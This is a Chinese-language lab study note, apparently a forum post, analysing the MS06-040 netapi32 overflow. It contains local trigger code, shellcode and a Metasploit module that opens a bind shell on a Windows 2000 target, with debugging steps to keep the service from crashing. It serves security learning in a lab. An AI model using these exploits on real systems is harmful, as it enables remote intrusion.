-
-
[原创][完]0day安全学习笔记:MS06-040漏洞分析
-
2021-5-31 14:21 9420
-
代码说明:大部分代码来源于0day,有我自己的修改,贴出的代码是我在实验过程中使用的,有出错→修正→调试的一个过程,最终代码以附件中为准。
1. 漏洞说明
MS06-040位于netapi32.dll动态链接库的导出函数NetpwPathCanonicalize()
中,该函数可以被RPC远程调用,其原型为:
1 2 3 4 5 6 7 8 | int NetpwPathCanonicalize ( uint16 path[ ], / / [ in ] path name uint8 can_path[ ], / / [out] canonicalized path uint32 maxbuf, / / [ in ] max size of can_path uint16 prefix[ ], / / [ in ] path prefix uint32 * pathtype, / / [ in out] path type uint32 pathflags / / [ in ] path flags, 0 or 1 ); |
功能就是将prefix
与path
使用\
字符相连,输出到can_path
中,maxbuf
为输出的最大长度。
为查明漏洞成因,使用以下代码对其进行调试,实验使用的是Win2000SP4中的netapi32.dll。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | #include <windows.h> typedef void ( * MYPROC)(LPTSTR, LPTSTR, int , LPTSTR, long * , long ); int main() { char path[ 0x320 ]; char can_path[ 0x440 ]; int maxbuf = 0x440 ; char prefix[ 0x100 ]; long pathtype = 44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[] = "./netapi32.dll" ; char VulFunc[] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc); memset(path, 0 , sizeof(path)); memset(path, 'a' , sizeof(path) - 2 ); memset(prefix, 0 , sizeof(prefix)); memset(prefix, 'b' , sizeof(prefix) - 2 ); (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0 ); FreeLibrary(LibHandle); return 0 ; } |
2. 漏洞成因
在计算字符串长度的时候使用的是wcslen
函数,该函数用来计算宽字符串长度,因此在计算大小为0x10E
字节(不包括结束字符)的prefix
长度时,返回的结果为0x87
,计算大小为0x31e
字节(不包括结束字符)的path
长度时,返回的结果为0x18f
在将字符串复制到栈中的时候,程序保留了0x414
字节的空间:
在计算空间是否足够的时候,比较的是0x18f+0x87+1=0x217
与0x411
的大小
这样计算得到的结论当然是空间足够,之后进行了wcscat
的调用,将两组字符串都复制到栈中,在此之前,观察EBP的值为0x12f698
,字符串复制完之后,查看栈中的情况:
2.1 0x411这个数字是怎么回事?
在调试的时候,我比较疑惑0x411
这个数字是怎么回事,是根据程序动态变化的,还是写死在代码里面的,于是仔细检查了一下。
如果在代码级别修改,调高prefix
和path
的大小,让两者之和大于0x822
(按照代码中的检查逻辑就比0x411
大了),结果发现程序根本没有到达CanonicalizePathName
函数的调用。
后来调试了一下,发现在到达漏洞触发点之前,NetpwPathCanonicalize()
函数会调用NetpwPathType
函数,检查prefix
的长度是否越界:
上图检查了prefix
的长度是否超过了0x103
。所以这次设置prefix
的大小为0x206
,path
的大小为0x630
,最终发现0x411
这个数值并没有发生变化,由于总长度为(0x206-2+0x630-2)\2+1=0x41A
,超过了0x411
,所以函数直接返回了0x7B(ERROR_INVALID_NAME)
。
所以说0x411
这个数是写死的。
3. 漏洞利用
仔细观察一下函数返回时栈中的情况以及寄存器的情况,寄存器:
而在栈中,prefix
的起始地址为0x12f284
,和ECX的值相同,所以可以把jmp ecx
作为跳板指令,
prefix
的长度为0x100
,shellcode
的长度为0xa8
,可以放到prefix
中,从上图中可以看到返回地址位于path
的倒数9-12字节,所以得到下面的漏洞利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 | #include <windows.h> typedef void ( * MYPROC)(LPTSTR, LPTSTR, int , LPTSTR, long * , long ); char shellcode[] = "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; int main() { char path[ 0x320 ]; char can_path[ 0x440 ]; int maxbuf = 0x440 ; char prefix[ 0x100 ]; long pathtype = 44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[] = "./netapi32.dll" ; char VulFunc[] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc); memset(path, 0 , sizeof(path)); memset(path, 0x90 , sizeof(path) - 2 ); memset(prefix, 0 , sizeof(prefix)); memset(prefix, 'a' , sizeof(prefix) - 2 ); memcpy(prefix, shellcode, 168 ); path[ 0x318 ] = 0x78 ; path[ 0x319 ] = 0x06 ; path[ 0x31a ] = 0x49 ; path[ 0x31b ] = 0x7e ; (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0 ); FreeLibrary(LibHandle); return 0 ; } |
其中0x7e490678
为内存中jmp ecx
所在的地址。
3.1 出现的问题
但是上面的代码出现了问题,通过调试,程序可以执行到shellcode的位置,但是……
执行到这里的时候,sub esp, ebx之后,得到esp的值为0x12f2a8,注意这里,这个地址已经是shellcode所在的位置了,也就是说之后的入栈操作会直接覆盖下面的shellcode指令,然后就变成了这样,/(ㄒoㄒ)/~~
3.2 解决办法
我不知道自己实践过程中和0day有什么差异导致了现在这种结果,但是现在要想办法解决了,修改shellcode显然太麻烦了,鉴于prefix
中还有足够的空间,所以可以直接改变shellcode的位置,把新的栈顶位置0x12f2a8
绕过去。
最终的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | #include <windows.h> typedef void ( * MYPROC)(LPTSTR, LPTSTR, int , LPTSTR, long * , long ); char shellcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" / / 在这里加了 48 个字节的nop "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; int main() { char path[ 0x320 ]; char can_path[ 0x440 ]; int maxbuf = 0x440 ; char prefix[ 0x100 ]; long pathtype = 44 ; HINSTANCE LibHandle; MYPROC Trigger; char dll[] = "./netapi32.dll" ; char VulFunc[] = "NetpwPathCanonicalize" ; LibHandle = LoadLibrary(dll); Trigger = (MYPROC)GetProcAddress(LibHandle, VulFunc); memset(path, 0 , sizeof(path)); memset(path, 0x90 , sizeof(path) - 2 ); memset(prefix, 0 , sizeof(prefix)); memset(prefix, 'a' , sizeof(prefix) - 2 ); memcpy(prefix, shellcode, 0xd8 ); / / 注意这里的长度要修改 path[ 0x318 ] = 0x78 ; path[ 0x319 ] = 0x06 ; path[ 0x31a ] = 0x49 ; path[ 0x31b ] = 0x7e ; / / __asm int 3 (Trigger)(path, can_path, maxbuf, prefix, &pathtype, 0 ); FreeLibrary(LibHandle); return 0 ; } |
最终成功执行shellcode!
4. 远程利用
4.1 配置
攻击机:
操作系统:kali 5.10.0-kali7-686-pae
IP地址:192.168.6.70
靶机:
操作系统:Windows2000 Pro
IP地址:192.168.6.21
4.2 准备
首先确定靶机开启的端口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | root@kali:~ # nmap --allports -O 192.168.6.21 Starting Nmap 7.91 ( https: / / nmap.org ) at 2021 - 05 - 31 05 : 05 EDT Nmap scan report for 192.168 . 6.21 Host is up ( 0.0011s latency). Not shown: 996 closed ports PORT STATE SERVICE 135 / tcp open msrpc 139 / tcp open netbios - ssn 445 / tcp open microsoft - ds 1025 / tcp open NFS - or - IIS MAC Address: 00 : 0C : 29 : 92 :CF:CA (VMware) Device type : general purpose Running: Microsoft Windows 2000 |XP OS CPE: cpe: / o:microsoft:windows_2000:: - cpe: / o:microsoft:windows_2000::sp1 cpe: / o:microsoft:windows_2000::sp2 cpe: / o:microsoft:windows_2000::sp3 cpe: / o:microsoft:windows_2000::sp4 cpe: / o:microsoft:windows_xp:: - cpe: / o:microsoft:windows_xp::sp1 OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1 Network Distance: 1 hop OS detection performed. Please report any incorrect results at https: / / nmap.org / submit / . Nmap done: 1 IP address ( 1 host up) scanned in 1.57 seconds |
可以看到打开了445端口。
之后根据书里说的,把exploit脚本放到msf的目录里,因为msf的版本不同,所以要对书里的代码做一些修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 | class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client # 主要就是上面这几行,还有最后一行多了一个end def initialize(info = {}) super (update_info(info, 'Name' = > 'MS06-040 Remote overflow POC ' , 'Platform' = > 'win' , 'Targets' = > [[ 'Windows 2000 SP0' , { 'Ret' = > [ 0x318 , 0x74FB62C3 ]} ]] )) register_options([OptString.new( 'SMBPIPE' , [true, "(BROWSER, SRVSVC)" , 'BROWSER' ] ),], self . class ) end #end of initialize def exploit connect() smb_login() handle = dcerpc_handle( '4b324fc8-1670-01d3-1278-5a47bf6ee188' , '3.0' , 'ncacn_np' , [ "\\#{datastore['SMBPIPE']}" ]) dcerpc_bind(handle) prefix = "\x8B\xC1\x83\xC0\x05\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64" + "\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B" + "\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73" + "\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B" + "\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47" + "\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A" + "\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59" + "\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E" + "\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB" + "\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50" + "\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C" + "\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56" + "\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x00\x00" path = "\x90" * 0x318 + [target[ 'Ret' ][ 1 ]].pack( 'V' ) + "\x04\xD0\xFD\x7F" * 5 + # writeable address "\x66\x81\xEC\x30\x04" + # sub esp,430 "\x8B\xC4" + # mov eax, esp "\xFF\xE4" + # jmp esp "\x00\x00" stub = NDR. long (rand( 0xffffffff )) + NDR.UnicodeConformantVaryingString('') + NDR.UnicodeConformantVaryingStringPreBuilt(path) + NDR. long (rand( 0xf0 ) + 1 ) + NDR.UnicodeConformantVaryingStringPreBuilt(prefix) + NDR. long (rand( 0xf0 ) + 1 ) + NDR. long ( 0 ) dcerpc.call( 0x1f , stub) # call NetpwPathCanonicalize() disconnect end #end of exploit def end |
如果不修改代码,在执行reload_all之后仍然找不到自己的脚本。
最后的配置是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | msf6 exploit(failwest / ms06_040) > show options Module options (exploit / failwest / ms06_040): Name Current Setting Required Description - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - RHOSTS 192.168 . 6.21 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes (BROWSER, SRVSVC) Payload options (windows / exec ): Name Current Setting Required Description - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - CMD calc yes The command string to execute EXITFUNC seh yes Exit technique (Accepted: '', seh, thread, process, none) Exploit target: Id Name - - - - - - 0 Windows 2000 SP0 |
这时执行exploit
并没有成功,靶机提示services意外关闭,然后重启了,这也很正常,我用的win2000系统版本不同,所以需要修改payload。
4.3 调试services
将OD附加到services上,然后在NetpwPathCanonicalize
上下一个断点,F9继续执行。
回到攻击机上,执行exploit,再回到靶机,发现OD已经断在了NetpwPathCanonicalize
上,然后一直单步,到达retn 14
语句,可以看到此时栈中的情况
再一次单步,到达了这个修改的返回地址
显然,由于系统版本的问题,这里的指令并不是预期的jmp esp
,与此同时,在我使用的靶机上,可以看到ecx的值为0x142f644
,正是shellcode的起始位置,也就是在这个靶机上仍然可以使用jmp ecx
这个跳板(并不是/(ㄒoㄒ)/~~)。
使用jmp ecx
的时候发现并不稳定,所以最后使用的还是jmp esp
,需要重新搜索这个指令的地址,找到了0x77e19eb8
4.3.1 代码修改与再调试
只需要把代码开头的返回地址修改成0x77e19eb8
就行了
1 2 3 4 | 'Targets' = > [[ 'Windows 2000 SP0' , { 'Ret' = > [ 0x318 , 0x77e19eb8 ]} ]] )) |
这次还是调试services,看一下再次执行到retn 0x14
的时候OD的情况:
看起来都很正常,继续单步也可以进入shellcode执行。最后不再使用OD调试,直接执行exploit,msf没有输出,但是再开一个命令行使用telnet连接,已经可以连接到靶机上了:
4.4 services又崩溃了,怎么办?
虽然成功连接到了靶机上,但是靶机很快就崩溃重启了,原因在于使用的shellcode最后调用了ExitProcess()
,也就是说我们直接退出了services进程,这样电脑当然会崩溃。
4.4.1 寄存器值的恢复
所以需要重新修改一下shellcode,根据深入浅出MS06-040(看雪网络版)所说:
函数返回是通过ret时三个重要的寄存器EBP, EIP, ESP的内容来实现的,只要在shellcode结束时恢复这三个寄存器的内容,就可以让函数正常返回
所以现在要找到溢出之前这三个值都是什么。
对于EIP的值,这个值对于同一个DLL来说应该是不变的,重新回顾一下,漏洞发生在NetpwPathCanonicalize
函数中的一次函数调用,所以我们恢复的应该是该函数调用后下一条指令的地址,在我这里是0x75107B78
。
而其他两个寄存器的值,我们可以对比一下发生溢出和不发生溢出时,漏洞函数执行前后这两个寄存器的值有什么变化:
所以说我们需要恢复的只有EBP寄存器的值,而这个值比ESP的值大了0xC。
4.4.2 shellcode再修改
之前并没有仔细看shellcode的内容,和书中一样用的bindshell的shellcode,这是一个通用的shellcode,因此里面包含了搜索DLL地址,搜索API函数地址,以及计算哈希以实现代码压缩的功能,考虑篇幅原因,这里不再贴出具体汇编代码,为了说明如何恢复寄存器的值,在这里使用【原shellcode】指代书中提供的汇编代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 | mov ebp, esp add ebp, 0xc push ebp push esp sub esp, 0x428 mov eax, esp jmp esp 【原shellcode】 ; 这个汇编代码其实需要修改,去掉结尾的ExitProcess调用 mov ecx, 0x75107B78 add esp, 0x428 pop esp pop ebp jmp ecx |
上面的汇编代码能够成立的前提是原shellcode本身是堆栈平衡的(其实不止这一个问题),但是很不幸,它不是(因为我实验的时候services又崩溃了,/(ㄒoㄒ)/~~)
把上面的汇编代码写到程序里,编译,使用OD调试,可以获得对应的机器码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | "\x8B\xEC\x83\xC5\x0C\x55\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4" "\x59\x81\xC9\xD3\x62\x30\x20\x41\x43\x4D\x64\x99\x96\x8D\x7E\xE8" / / 原shellcode "\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xB6" "\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77\x73\x32\x5F\x54\xAC\x3C" "\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60\x8B\x45\x3C\x8B\x4C\x05" "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5" "\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7\x3A\x54\x24\x1C\x75\xEA" "\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C" "\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4\x5E\x54\x6A\x02\xAD\xFF" "\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3\xAB\x40\x50\x40\x50\xAD" "\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD\xFF\xD0" "\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x83\xEF\x6C\xAB\xAB\x58\x54\x54" "\x50\x50\x50\x54\x50\x50\x56\x50\xFF\x56\xE4" "\xB9\x78\x7B\x10\x75\x66\x81\xC4\x28\x04\x5C\x5D\xFF\xE1" |
接下来只要使用上面的机器码替换msf的exploit脚本中的机器码就可以了。
就是在这里,services又崩溃了,因为堆栈不平衡,解决方法看下面的第三个问题。
4.4.3 遇到的一些问题
add esp, 0x428 包含两个字节的\x00?
但是原本书中提供的代码也包含这个指令,却没有这个问题,后来我用书中提供的机器码翻译成汇编语言,发现得到的是
add sp, 0x428
,sp指的是esp的低16位,在当前情况中是可以这样使用的,所以问题解决call [esi - 0x1c] ; 指向的内容不对?
执行到最后的调用指令,即调用
CreateProcessA
的时候,在OD中发现该地址位置包含的数值为0x411
,后来仔细阅读了一下前面的汇编代码,发现书中有一句指令被注释了,应该是PDF格式的排版问题原本的shellocode堆栈不平衡怎么办?
由于原本的shellcode堆栈不平衡,这就导致在自己在前后添加的汇编指令没能得到预期的执行结果。
为了避免一句一句的看汇编代码,分析堆栈变化情况,我打算直接根据调试结果,调整汇编代码最后的
add esp, 0x428
中的数值。在调试的时候,执行完shellcode开头的push ebp push esp
之后,栈中的情况是这样的:也就是说保存的esp和ebp分别保存在了地址
0x162FA6C
和0x162FA70
的位置,继续调试,执行到shellcode最后的mov ecx, 0x75107B78
指令时,此时的ESP寄存器值为0x162F360
,和0x162FA6C
相差0x70C
,所以直接把shellcode最后一行中的\x28\x04
修改为\x0c\x07
。然后,又崩溃了……/(ㄒoㄒ)/~~,问题在于下一点。
除了恢复三个寄存器的值,还有返回地址要恢复!
其实正常来说,确实只需要考虑ESP, EBP和EIP三个寄存器就可以了,但是在我修改shellcode的过程中,添加的代码太多了,回顾一下,我在开头添加的这几句指令:
1234567mov ebp, esp
add ebp,
0xc
push ebp
push esp
sub sp,
0x428
mov eax, esp
jmp esp
它的机器码最终要放在
path
变量中的返回地址(指向jmp esp
)的后面,也就是说它会覆盖栈中原本保存的的一些变量,如果长度过长,就可能覆盖下一个栈帧的返回地址,导致函数无法正常返回。而在漏洞函数之后,代码是这样的
而上面的汇编指令对应的机器码就是16个字节,但是再加上unicode字符串结尾的两个字节,就是18个字节,会覆盖下个栈帧的返回地址。
其实哪怕不考虑返回地址,这四个
pop
指令要恢复之前ESI EDI EBX EBP
寄存器的值,现在也不确定这四个寄存器的值的改变会不会影响程序的执行,因此应该保证添加的这几句指令占用的空间越少越好。所以我把shellcode修改成了这样:
1234567891011push esp
sub sp,
0x42c
mov eax, esp
jmp esp
【原shellcode】
mov ecx,
0x75107B78
add esp, 【待确定】
/
/
后来确定是
0x710
pop esp
mov ebp, esp
add ebp,
0xc
jmp ecx
前面的四句指令占用10个字节
\x54\x66\x81\xEC\x28\x04\x8B\xC4\xFF\xE4
,加上字符串结尾的两个字节一共12个字节,最终的msf脚本见附件。这个时候就能成功入侵靶机,并且不会再导致services崩溃了(我等了一段时间,在攻击机上执行了几个简单的指令,没发生崩溃)。
可以看到任务管理器里面的cmd进程:
5. 后记
这次对于ms06_040漏洞的分析过程中,漏洞的原理还是比较简单的,难点其实在于后期的远程利用以及对于shellcode的修改,和正常的编程相比,shellcode的编写必须更加仔细,而且要时刻保持”短小精悍“。
其实我认为上面的代码还是存在一些缺陷的,因为使用jmp esp
做跳板,栈中保存的一些数据就必然会被覆盖一部分,当从shellcode回到正常代码之后,就会影响到寄存器值的恢复。
后来实验的过程中,我发现使用jmp ecx
作为跳板应该还是有机会的,我不知道自己第一次使用jmp ecx
做远程攻击时为什么会出现问题,但是后来那个问题就没再出现。
我也尝试使用jmp ecx
做跳板进行了实验,shellcode的改动其实不大,就是esp寄存器的数值需要做调整,但是不知道为什么,shellcode在执行到WSASocketA
函数调用的时候会失败(・∀・(・∀・(・∀・*)
之后应该还会尝试jmp ecx
的方法,但是不知道啥时候弄完了,这篇文章暂时到此为止。
[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法